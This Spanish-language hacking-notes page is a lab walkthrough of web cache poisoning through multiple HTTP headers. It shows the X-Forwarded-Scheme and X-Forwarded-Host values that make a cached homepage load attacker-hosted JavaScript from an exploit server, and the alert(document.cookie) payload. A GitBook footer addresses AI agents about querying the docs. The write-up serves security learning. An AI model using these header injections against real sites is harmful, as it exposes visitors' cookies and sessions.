> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).

# Envenenamiento de caché con múltiples encabezados

### Envenenamiento de la caché web con múltiples encabezados

Este laboratorio presenta una vulnerabilidad para envenenar la caché web explotable solo combinando varios encabezados HTTP. / Un usuario visita la página de inicio aproximadamente una vez por minuto. / El objetivo es envenenar la caché para que la respuesta en el navegador de la víctima desencadene `alert(document.cookie)`.

**Análisis inicial**

* Intercepción de la solicitud a la raíz del sitio (`/`).
* La respuesta parece estar almacenada en caché y se reutiliza para los siguientes visitantes.

<figure><img src="/files/352235e61687f9659aadcb88432c6aed24456662" alt=""><figcaption></figcaption></figure>

**Encabezados explotables descubiertos**

* Uso de extensión **Param Miner** para adivinar encabezados no indexados.

<figure><img src="/files/a0b3ddd7919f030d09eb3f72187afbafb69ed094" alt=""><figcaption></figcaption></figure>

* La herramienta detecta el encabezado **`X-Forwarded-Scheme`**.

<figure><img src="/files/b1c8e2b033217ae7004983ce06ded46cc6a9f897" alt=""><figcaption></figcaption></figure>

**`X-Forwarded-Scheme` Prueba**

* Este encabezado indica si la solicitud se trata como proveniente de HTTP o HTTPS.
* Enviando:

```http
X-Forwarded-Scheme: http
```

* El sitio intenta comportarse como si se sirviera en HTTP.

<figure><img src="/files/11c4872e0d45cd0140ee7d72eb2391f1d3ed15d7" alt=""><figcaption></figcaption></figure>

Esto provoca un mal funcionamiento y los recursos dejan de cargarse correctamente debido a redirecciones incorrectas.

<figure><img src="/files/32e4b46519d0ec8e044ab0995f3da117af31fed3" alt=""><figcaption></figcaption></figure>

**Añade un segundo encabezado: `X-Forwarded-Host`**

```http
X-Forwarded-Host: test.com
```

* El sitio entonces intenta cargar sus recursos desde esta área.

<figure><img src="/files/d559cbec5f7fd5709cfa630431a00fb7e5d3e423" alt=""><figcaption></figcaption></figure>

La carga del archivo JavaScript incluye:

Este script se ejecuta automáticamente al cargar la página.

<figure><img src="/files/8e444a555ee65c4dbf53fb5d6ef42b1ee2c93b94" alt=""><figcaption></figcaption></figure>

**Operación con servidor de explotación**

* El objetivo es forzar la carga del archivo JavaScript desde el Servidor de Explotación.

```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```

En el servidor de explotación:

* Crea un archivo accesible en la URL:

Contenido del archivo:

```javascript
alert(document.cookie)
```

<figure><img src="/files/8157a6f2d94d6eae089db9279eb0a44cc50508fc" alt=""><figcaption></figcaption></figure>

**Resultado**

* La página de inicio ahora carga el script JavaScript desde el Servidor de Explotación.

<figure><img src="/files/ef71e91852c8a7e58aa59f5196f5ee9a9b528430" alt=""><figcaption></figcaption></figure>

* La respuesta envenenada está oculta.
* Cuando un usuario visita la página, el script se ejecuta automáticamente.
* Una alerta que muestra `document.cookie` aparece en el navegador de la víctima.

<figure><img src="/files/9781a8d9119a008ab1132cff1ecc1d01c5e244f5" alt="" width="427"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
